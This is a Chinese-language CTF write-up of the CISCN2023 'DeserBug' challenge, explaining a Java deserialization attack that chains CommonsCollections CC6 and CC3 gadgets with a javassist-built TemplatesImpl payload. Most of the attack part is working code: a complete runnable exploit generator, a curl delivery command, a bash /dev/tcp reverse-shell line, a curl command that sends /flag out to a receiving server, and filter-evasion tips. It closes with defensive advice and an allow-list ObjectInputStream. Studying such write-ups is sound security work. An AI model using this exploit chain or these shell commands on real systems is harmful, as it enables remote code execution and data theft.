1. 项目概述:一次对Java反序列化漏洞的深度实战复盘
最近在复盘去年的CISCN2023国赛初赛,其中一道名为“DeserBug”的Java反序列化题目给我留下了挺深的印象。这道题不算特别偏门,但非常典型,它几乎把Java安全里关于反序列化的几个核心知识点串了起来,从基础的链构造到稍微进阶的利用技巧,都有所体现。题目环境模拟了一个存在漏洞的Java Web服务,攻击者需要通过精心构造的序列化数据,利用服务端依赖的库中的危险类,最终实现远程命令执行(RCE)。对于想深入理解Java反序列化攻击,特别是Commons Collections(CC)链在实战中如何组合运用的朋友来说,这是一个绝佳的练手材料。
我复现这道题的目的,不仅仅是为了解出flag,更是想拆解清楚整个攻击链的来龙去脉。为什么这里要用TemplatesImpl?TransformingComparator和PriorityQueue又是怎么搅和进来的?CC3链和CC6链的思路在这里是如何融合的?这些问题是理解这道题的关键。接下来,我会把自己复现的完整过程、踩过的坑以及背后的原理,像聊天一样分享出来。无论你是正在备战CTF的选手,还是对Java安全感兴趣的开发者,希望这篇记录都能给你带来一些实实在在的参考。
2. 题目环境搭建与初步分析
2.1 环境复现与代码审计
首先,我们需要把靶场环境搭起来。题目通常会给一个Dockerfile或者直接的jar包。我拿到的就是一个可执行的Spring Bootjar包。直接运行起来后,访问指定端口(比如8080),就能看到一个简单的Web界面。前端可能只有一个提交数据的表单,或者干脆就是一个接收POST请求的API端点,这需要我们抓包来看。
用Burp Suite拦截一下流量,发现关键点:存在一个接口(例如/bug),它接收一个名为data的POST参数,这个参数的内容看起来是经过Base64编码的。服务端拿到这个参数后,会进行Base64解码,然后将解码后的字节流直接交给ObjectInputStream进行反序列化。这就是最经典的“反序列化漏洞入口”——用户可控的序列化数据被直接还原成对象。
为了深入分析,我们需要拿到服务端的源代码或者反编译的class文件。通过一些工具(如fernflower或cfr)对jar包进行反编译,我们就能一窥究竟。核心的漏洞代码通常长这样:
@PostMapping("/bug") public String deserializeBug(@RequestParam("data") String base64Data) { try { byte[] decoded = Base64.getDecoder().decode(base64Data); ByteArrayInputStream bais = new ByteArrayInputStream(decoded); ObjectInputStream ois = new ObjectInputStream(bais); // 高危操作:直接反序列化不可信数据 Object obj = ois.readObject(); ois.close(); return "Received object: " + obj.getClass().getName(); } catch (Exception e) { return "Error: " + e.getMessage(); } }同时,查看项目的依赖文件(如pom.xml或build.gradle)至关重要。这道题的关键依赖是commons-collections:3.2.1。这个版本的CC库包含了大量可以用于构造攻击链的类,且没有后续版本中的安全限制。环境里还必须有javassist库,因为我们的最终payload需要动态生成恶意字节码。JDK版本建议使用8u251之前的,因为后续版本对TemplatesImpl等类的利用增加了一些限制。
注意:自己搭建复现环境时,务必确保依赖库的版本与题目完全一致。一个细微的版本差异(比如CC 3.2.1和3.2.2)就可能导致利用链失效。最好使用Maven的
dependency:tree命令确认所有传递依赖。
2.2 利用链的整体构思
看到CC 3.2.1,我们脑子里应该立刻浮现出几条经典的利用链,比如CC1、CC3、CC6等。这道题“DeserBug”的提示以及网络上的讨论热词都指向了CC3和TemplatesImpl。CC3链的核心价值在于,它提供了一种不依赖InvokerTransformer执行任意方法的方式,而是通过InstantiateTransformer或TrAXFilter结合TemplatesImpl来加载字节码,这对于绕过一些限制(比如CC库中Transformer数组的序列化问题)很有用。
但纯粹的CC3链起点(AnnotationInvocationHandler)在JDK 8u71之后就被修复了。所以实战中,我们常常需要混合其他链的起点(Gadget)。这就是为什么题目可能会引导我们想到CC6。CC6链提供了一个非常可靠的起点:HashMap->TiedMapEntry->LazyMap。这个起点不依赖JDK内部类,通用性极强。
所以,这道题的链式构造思路逐渐清晰:我们需要用一个可靠的起点(如CC6的HashMap)来触发我们的Transformer链,而这个Transformer链的最终目标,是调用TemplatesImpl#newTransformer()或TrAXFilter的构造函数,从而触发我们嵌入的恶意字节码的执行。整个攻击路径可以概括为:反序列化入口 -> CC6 Gadget(触发map.get) -> 精心构造的Transformer链 -> 实例化TrAXFilter或调用TemplatesImpl.newTransformer()-> 加载并执行恶意字节码。
3. 核心利用链的详细拆解
3.1 起点:CC6链的改造与利用
CC6链的妙处在于它的触发点TiedMapEntry#hashCode()。当这个对象被反序列化时,如果其key属性为null,它会调用内部map的get(null)方法。如果我们让这个map是一个LazyMap,并且为其设置一个Transformer链,那么get(null)就会触发整个链的执行。
首先,我们构造一个能执行任意命令的Transformer链吗?传统CC1链用的是ChainedTransformer包含InvokerTransformer来调用Runtime.exec()。但这里有个问题:Runtime类没有实现Serializable接口,无法直接序列化。我们需要通过反射来获取Runtime对象,这通常由ConstantTransformer和InvokerTransformer组合完成。一个典型的命令执行Transformer数组如下:
Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) // 或 /bin/bash -c ... }; Transformer chain = new ChainedTransformer(transformers);但是,在CC3混合链中,我们最终的目标不是直接执行命令,而是触发字节码加载。所以我们需要对上面的链进行改造。我们的目标是调用TemplatesImpl#newTransformer()。观察CC3链,它常用InstantiateTransformer来实例化一个TrAXFilter对象,而TrAXFilter的构造函数会接收一个Templates对象并调用其newTransformer()方法。
因此,我们可以构造这样一个链:先通过反射获取TemplatesImpl对象(其中已包含恶意字节码),然后将其传递给InstantiateTransformer去实例化TrAXFilter。但这里有个衔接问题:CC6的LazyMap触发的是transform(Object input)方法,这个input参数是TiedMapEntry传进来的key,也就是null。我们需要让第一个Transformer接收这个null,并输出我们准备好的TemplatesImpl对象。
这就要用到ConstantTransformer了。ConstantTransformer的特点是,无论输入是什么,它总是返回我们预设的那个常量对象。所以,我们可以把上面命令执行的链的开头换掉:
// 假设我们已经创建了包含恶意字节码的templates对象 TemplatesImpl templates = createEvilTemplates(); Transformer[] transformers = new Transformer[] { new ConstantTransformer(templates), // 忽略输入,直接返回templates对象 new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templates}) };等等,这里有问题。InstantiateTransformer的作用是用其构造函数实例化一个新对象。如果我们想实例化TrAXFilter,那么第一个ConstantTransformer应该返回TrAXFilter.class才对。经典的CC3链中,是这样构造的:
Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templates}) };这条链的意思是:ConstantTransformer接收任意输入(这里是null),输出TrAXFilter.class;接着InstantiateTransformer接收这个Class对象,并以templates为参数,去实例化一个TrAXFilter对象。在实例化过程中,TrAXFilter的构造函数会调用templates.newTransformer(),从而触发字节码加载。
所以,我们需要把templates对象作为参数数组传递给InstantiateTransformer。至此,我们得到了用于CC6终点的Transformer链。接下来,用这个链装饰一个LazyMap:
Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);然后,创建TiedMapEntry,将其map指向这个lazyMap,key设为null:
TiedMapEntry entry = new TiedMapEntry(lazyMap, null);最后,将entry放入一个HashMap中。为了在反序列化时触发hashCode(),我们需要巧妙地操作这个HashMap。通常的做法是:先将entry放入HashMap,然后通过反射修改lazyMap的factory字段,将其设置为一个ConstantTransformer(防止在put过程中提前触发链),最后再将factory改回我们危险的transformerChain。更常见的做法是直接利用HashSet或HashMap反序列化时会调用元素hashCode()的特性,构造好一个HashMap,其key为我们的TiedMapEntry。在序列化这个HashMap之前,需要确保lazyMap里还没有null这个key,否则LazyMap就不会调用transform了。所以我们先放一个无关的键值对进去。
3.2 关键:恶意字节码的构造与封装
现在来看攻击的最终目标:让TemplatesImpl加载我们的字节码。TemplatesImpl是JDK内部的一个类,它用于存储XSLT转换模板,但有一个关键特性:它的_bytecodes字段可以接收字节码数组,并在调用newTransformer()或getOutputProperties()时,使用defineClass加载这些字节码。
我们需要用javassist库动态创建一个类。这个类的静态代码块里,放入我们想要执行的命令。为什么用静态代码块?因为TemplatesImpl在定义类后,会去获取这个类的Class对象,此时静态代码块会自动执行,无需再实例化对象,利用起来更直接。
import javassist.*; public byte[] createEvilBytecode(String command) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("Evil"); // 在静态代码块中插入命令执行代码 String shell = "java.lang.Runtime.getRuntime().exec(\"" + command.replace("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertBefore(shell); byte[] bytecode = clazz.toBytecode(); clazz.detach(); // 释放资源 return bytecode; }得到字节码数组后,我们需要通过反射来构造一个TemplatesImpl对象,并设置其关键字段:
_bytecodes:设置为二维字节数组new byte[][]{evilBytecode}。_name:可以任意设置一个非空字符串,如"pwn"。_tfactory:需要设置为一个TransformerFactoryImpl对象,通常直接new一个即可。
这里有一个巨大的坑:TemplatesImpl类没有公共的构造函数。我们不能直接new TemplatesImpl()。但是,它有一个默认的无参构造函数,只是包级私有。我们可以通过反射来调用它:
Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Constructor constructor = clazz.getDeclaredConstructor(); constructor.setAccessible(true); TemplatesImpl templates = (TemplatesImpl) constructor.newInstance();然后,通过反射设置字段。这里要注意字段名,不同JDK版本可能带有下划线前缀。在JDK 8中,通常就是_bytecodes、_name、_tfactory。
setFieldValue(templates, "_bytecodes", new byte[][]{evilBytecode}); setFieldValue(templates, "_name", "pwn"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());实操心得:在构造
TemplatesImpl时,经常遇到“com.sun.org.apache.xalan...找不到类”的错误。这通常是因为项目依赖中没有引入xalan。但在大多数JDK环境中,这个类是自带的。如果遇到问题,可以尝试使用org.apache.xalan.xsltc.trax.TemplatesImpl这个类名(需要额外依赖),但题目环境通常用的是JDK自带的那个。最稳妥的方式是写一个简单的测试程序,打印出TemplatesImpl的实际类名。
3.3 组装:将组件连接成完整攻击链
现在我们有了一切零件:恶意的TemplatesImpl对象(templates)、改造后的CC3 Transformer链、以CC6为起点的触发结构。接下来就是精细的组装工作。
首先,组装Transformer链。这个链的输入是null(来自TiedMapEntry的key),输出是实例化TrAXFilter的动作。
Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templates}) }; Transformer chainedTransformer = new ChainedTransformer(transformers);这里有一个非常重要的技巧:在最终序列化payload之前,我们需要用一个无害的Transformer(比如ConstantTransformer)替换掉ChainedTransformer,以防止在构造过程中就触发命令执行。我们通常先创建一个假的链:
Transformer[] fakeTransformers = new Transformer[]{ new ConstantTransformer(1) }; Transformer fakeChain = new ChainedTransformer(fakeTransformers);用这个fakeChain去创建LazyMap和后续结构。等所有结构(HashMap、TiedMapEntry等)都组装好后,再通过反射,将LazyMap内部的factory字段从fakeChain替换成真正的chainedTransformer。
完整的组装代码逻辑如下:
- 创建恶意
templates。 - 创建真正的危险Transformer链
chainedTransformer(先不用于装饰)。 - 创建假的Transformer链
fakeChain。 - 用
fakeChain装饰一个LazyMap:Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain);。 - 创建
TiedMapEntry:TiedMapEntry entry = new TiedMapEntry(lazyMap, null);。 - 创建
HashMap map = new HashMap();。 - 将
entry作为key放入map:map.put(entry, "value");。注意:在put之后,由于key为null,lazyMap.get(null)会被调用,但因为现在是fakeChain(返回常数1),所以lazyMap会存入(null, 1)。这步操作是必须的,目的是在lazyMap中预先存入一个null键,这样在反序列化触发hashCode时,LazyMap.get(null)才会返回已存在的值,而不会再次触发transform?不对,这里逻辑需要理清。
这里是一个关键细节:LazyMap的get方法逻辑是,如果键不存在,则用factory.transform(key)生成一个值并存入。如果我们先用fakeChain在lazyMap里为null键存了一个值(比如1),那么当反序列化后,TiedMapEntry.hashCode()调用lazyMap.get(null)时,由于键已存在,它会直接返回值(1),而不会触发transform。这会导致利用失败。
所以,正确的做法是:在组装过程中,要确保lazyMap里不存在null这个键。我们可以在put到HashMap之后,手动将lazyMap中因put操作而自动生成的null键条目删除!
map.put(entry, "value"); // 删除lazyMap中因put而自动添加的null键条目,确保反序列化时触发transform lazyMap.remove(null);- 通过反射,将
lazyMap的factory字段替换为真正的chainedTransformer。 - 序列化这个
HashMap对象(map)。 - 将序列化后的字节进行Base64编码,发送给目标接口。
当这个精心构造的HashMap被反序列化时,其readObject方法会计算每个键的哈希值,从而调用TiedMapEntry.hashCode(),进而调用lazyMap.get(null)。由于我们提前删除了null键,LazyMap会调用chainedTransformer.transform(null),触发整个链,最终实例化TrAXFilter并执行嵌入的恶意字节码。
4. 完整Payload构造与利用过程
4.1 分步构造Payload代码实现
理论讲完了,我们来看具体代码。下面是一个完整的、可运行的Payload构造类。我加了详细的注释,你可以跟着一步步看。
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import javax.xml.transform.Templates; import javax.xml.transform.TransformerFactory; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import java.io.*; import java.lang.reflect.*; import java.util.Base64; import java.util.HashMap; import java.util.Map; public class DeserBugExploit { public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static byte[] createEvilBytecode(String command) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("Evil"); // 使用静态代码块,在类初始化时执行命令 String shell = "try { Runtime.getRuntime().exec(new String[]{\"/bin/bash\", \"-c\", \"" + command.replace("\"", "\\\"") + "\"}); } catch (Exception e) {}"; clazz.makeClassInitializer().insertBefore(shell); byte[] bytecode = clazz.toBytecode(); clazz.detach(); return bytecode; } public static TemplatesImpl createEvilTemplates(String command) throws Exception { // 1. 创建包含恶意字节码的TemplatesImpl对象 byte[] evilBytecode = createEvilBytecode(command); Class clazz = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Constructor constructor = clazz.getDeclaredConstructor(); constructor.setAccessible(true); TemplatesImpl templates = (TemplatesImpl) constructor.newInstance(); // 2. 设置关键字段 setFieldValue(templates, "_bytecodes", new byte[][]{evilBytecode}); setFieldValue(templates, "_name", "pwn"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); return templates; } public static String generatePayload(String command) throws Exception { // 1. 创建恶意TemplatesImpl TemplatesImpl templates = createEvilTemplates(command); // 2. 构造真正的Transformer链 (CC3的核心) Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{templates}) }; Transformer chainedTransformer = new ChainedTransformer(transformers); // 3. 构造一个假的、无害的Transformer链,用于前期组装 Transformer[] fakeTransformers = new Transformer[]{ new ConstantTransformer(1) }; Transformer fakeChain = new ChainedTransformer(fakeTransformers); // 4. 用假链创建LazyMap Map lazyMap = LazyMap.decorate(new HashMap(), fakeChain); // 5. 创建TiedMapEntry,key为null,map为lazyMap TiedMapEntry entry = new TiedMapEntry(lazyMap, null); // 6. 创建HashMap并将entry作为key放入 Map map = new HashMap(); map.put(entry, "value"); // 7. 关键步骤:移除lazyMap中因put操作自动生成的null键,确保反序列化时触发transform lazyMap.remove(null); // 8. 通过反射,将lazyMap内部的factory替换为真正的危险链 Field factoryField = LazyMap.class.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, chainedTransformer); // 9. 序列化HashMap ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(map); oos.close(); // 10. Base64编码 String payload = Base64.getEncoder().encodeToString(baos.toByteArray()); return payload; } public static void main(String[] args) throws Exception { // 要执行的命令,根据目标系统修改 String cmd = "touch /tmp/success"; // Linux // String cmd = "calc.exe"; // Windows String payload = generatePayload(cmd); System.out.println("Generated Payload (Base64):"); System.out.println(payload); // 可以将payload直接复制到Burp Suite中发送给目标 } }运行这个main方法,就会在控制台打印出Base64编码后的payload。将其作为data参数的值,通过POST请求发送给靶机的漏洞接口。
4.2 利用过程与结果验证
拿到payload后,利用过程就很简单了。我一般用curl命令或者直接在Burp Suite的Repeater模块里操作。
使用curl命令:
curl -X POST http://靶机IP:端口/bug --data-urlencode "data=你的Base64Payload" -v使用Burp Suite:
- 打开Burp,切换到Repeater选项卡。
- 在请求体中,选择
POST方法,填入目标URL(如http://192.168.1.100:8080/bug)。 - 将Body格式改为
x-www-form-urlencoded。 - 添加一个参数,名字为
data,值为上面生成的Base64 payload字符串。 - 点击Send。
如果一切顺利,目标服务器会反序列化我们的payload,执行嵌入的命令。如何验证呢?这取决于你执行的命令。
- 如果命令是
touch /tmp/success:你可以尝试进入靶机容器(如果是Docker环境)查看/tmp/success文件是否被创建。或者,在题目环境中,可能命令执行的结果会直接回显,或者触发一个外部DNS/HTTP请求(带外检测)。 - 如果命令是反弹Shell:你需要在公网服务器上监听一个端口,例如
nc -lvnp 4444。将payload中的命令换成如bash -i >& /dev/tcp/你的IP/4444 0>&1的反弹shell命令。发送payload后,观察你的服务器是否接收到连接。 - 如果命令是计算器(Windows):在图形化界面的靶机上可能会弹出计算器窗口。
在CTF比赛中,这道题的目的通常是读取服务器上的一个特定文件(flag)。因此,payload中的命令可以换成cat /flag或type C:\\flag.txt,然后从HTTP响应中寻找回显。有时服务端不会直接输出命令结果,这就需要我们进行外带数据,比如用curl将文件内容发送到我们的服务器:curl http://你的接收服务器/?flag=$(cat /flag|base64)。
注意事项:在实际攻击或CTF中,命令执行可能会受到字符过滤、空格过滤、特殊字符转义等限制。你需要根据情况对命令进行编码或变形。例如,使用
${IFS}代替空格,使用base64编码命令后再解码执行等。在构造字节码时,也要考虑Java字符串中的转义问题。
5. 调试技巧与常见问题排查
5.1 本地调试与链触发跟踪
在构造如此复杂的利用链时,光靠猜是不行的,必须进行调试。我强烈建议在IDEA或Eclipse中搭建一个与靶场环境完全相同的本地调试项目。
- 项目配置:创建一个Maven项目,引入
commons-collections:3.2.1和javassist依赖。将靶场的漏洞代码片段复制到你的项目中。 - 断点设置:在漏洞服务的反序列化入口(
ois.readObject())处打上断点。同时,在关键类的readObject、hashCode、get、transform、newTransformer等方法内部打上断点。特别关注:HashMap.readObject()->hash(key)TiedMapEntry.hashCode()->getValue()->map.get(key)LazyMap.get()->factory.transform(key)ChainedTransformer.transform()-> 遍历执行各个TransformerInstantiateTransformer.transform()->Constructor.newInstance()TrAXFilter构造函数 ->_templates.newTransformer()TemplatesImpl.newTransformer()->defineClass()-><clinit>执行
- 调试运行:运行你的Exploit类生成payload,然后在调试环境中,模拟服务端接收这个payload并触发
readObject。一步步跟踪,观察对象是如何被还原,方法调用栈是如何一步步走到命令执行的。这能让你对整条链有肌肉记忆般的理解。
如果链没有触发,检查每一步的断点是否被命中。如果某个关键方法没被调用,说明你的链在那一环断掉了。常见原因有:某个类未实现Serializable接口、transient字段导致状态丢失、或者某个关键对象在序列化/反序列化过程中发生了变化。
5.2 常见错误与解决方案
在复现过程中,我踩过不少坑,这里总结一下:
| 问题现象 | 可能原因 | 解决方案 |
|---|---|---|
抛出ClassNotFoundException | 依赖缺失或类名错误。 | 检查pom.xml,确保commons-collections:3.2.1和javassist已正确引入。检查TemplatesImpl的全限定类名是否正确,不同JDK/环境可能有差异。 |
抛出java.security.AccessControlException | 目标环境存在Java安全管理器(SecurityManager),禁止了某些操作(如defineClass或exec)。 | CTF题目通常不会设置。如果遇到,可能需要寻找其他不触发安全管理器的利用链,或者利用已有的权限进行绕过(较难)。 |
命令执行了但没效果(如touch没创建文件) | 1. 当前用户权限不足。 2. 命令路径错误。 3. 容器环境是只读文件系统。 | 尝试使用绝对路径(/bin/touch)。尝试执行whoami、id查看权限。尝试写用户目录(/tmp或/dev/shm)。 |
| 反序列化成功但无任何反应,链似乎没触发 | 1.LazyMap中已存在null键,导致未调用transform。2. 反射修改 factory字段失败或时机不对。3. JDK版本过高,对 TemplatesImpl有限制。 | 确保在序列化前执行了lazyMap.remove(null)。调试检查LazyMap.factory字段在序列化时的值是否正确。尝试在HashMap.put之后、序列化之前,通过调试或打印确认lazyMap的内部状态。降低本地测试的JDK版本至8u251以下。 |
报错java.lang.ClassCastException | 反序列化后的对象类型与预期不符,可能是链中某个环节的类不可序列化或版本不对。 | 确保链中所有用到的类都实现了Serializable接口。检查CC库版本,3.2.2版本修复了一些类的序列化问题。使用serialVersionUID一致的环境。 |
| 生成的Payload特别大 | 使用javassist生成的字节码可能包含大量调试信息。 | 在创建CtClass时,可以调用clazz.stopPruning(true)?不对,应该是clazz.debugWriteFile()或关注ClassPool的缓存。更直接的方法是,可以尝试使用更精简的字节码生成方式,或者对生成的字节码进行压缩(但需确保能正常加载)。通常不影响利用。 |
一个高级技巧:解决TemplatesImpl在更高版本JDK中的限制。在JDK 8u251之后,TemplatesImpl的defineTransletClasses()方法内部增加了对类加载器的检查,并且对生成的类的父类有更严格的要求。这可能导致我们的恶意类加载失败。绕过的一种方法是,让我们生成的恶意类继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,并且满足其他一些条件(如提供无参构造函数)。使用javassist创建类时,可以这样设置:
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); clazz.setSuperclass(superClass); // 确保有无参构造函数(默认就有)在CTF中,题目环境通常是固定的旧版本JDK,所以这个问题不常遇到。但了解这一点对于实战和更深入的研究很有帮助。
6. 防御思路与安全启示
通过这道题的复现,我们不仅学会了攻击,更应该思考如何防御。作为开发者,可以从以下几个层面规避此类风险:
输入验证与白名单:绝对不要反序列化来自不可信来源的数据。如果业务必须使用序列化,应考虑使用JSON、XML等更安全的交换格式。如果必须用Java原生序列化,可以实施白名单机制,使用
ObjectInputStream的resolveClass方法进行严格的类校验,只允许反序列化已知安全的类。public class SafeObjectInputStream extends ObjectInputStream { private static final Set<String> whitelist = Set.of("java.lang.String", "com.known.SafeClass"); protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className = desc.getName(); if (!whitelist.contains(className)) { throw new InvalidClassException("Unauthorized deserialization attempt", className); } return super.resolveClass(desc); } }升级依赖库:及时升级项目中的第三方库,特别是像Commons Collections这样的高危组件。CC库在3.2.2版本及后续版本中,为许多危险的
Transformer类(如InvokerTransformer、InstantiateTransformer)增加了Serializable接口的readObject方法防御,或者直接标记了transient字段,大大增加了利用难度。使用最新版本是成本最低的防护手段。使用安全工具:在CI/CD流程中集成依赖漏洞扫描工具(如OWASP Dependency-Check、Snyk),及时发现并修复存在已知反序列化漏洞的组件。在运行时,可以考虑使用Java Agent技术进行防护,例如使用
SerialKiller、contrast-rO0等工具,在反序列化过程中拦截危险的类或行为。最小权限原则:运行Java应用的容器或进程,应使用非root用户,并限制其网络访问、文件系统访问权限。这样即使被攻破,攻击者能造成的破坏也有限。
代码审计与安全意识:开发者应了解反序列化漏洞的原理,在代码审计时重点关注
ObjectInputStream.readObject()、XMLDecoder.readObject()、Yaml.load()、JSON.parseObject()(某些配置下)等敏感函数的调用,确保其参数是可控的。
反序列化漏洞的根源在于,序列化机制为了还原对象状态,赋予了数据“代码”的能力。这道“DeserBug”题目就像一把钥匙,打开了理解Java安全中这一经典问题的大门。理解它,不仅是为了攻击,更是为了构建更坚固的防御。在平时开发中,每当你要写下readObject()时,不妨多问自己一句:“这数据,我真的能信任吗?”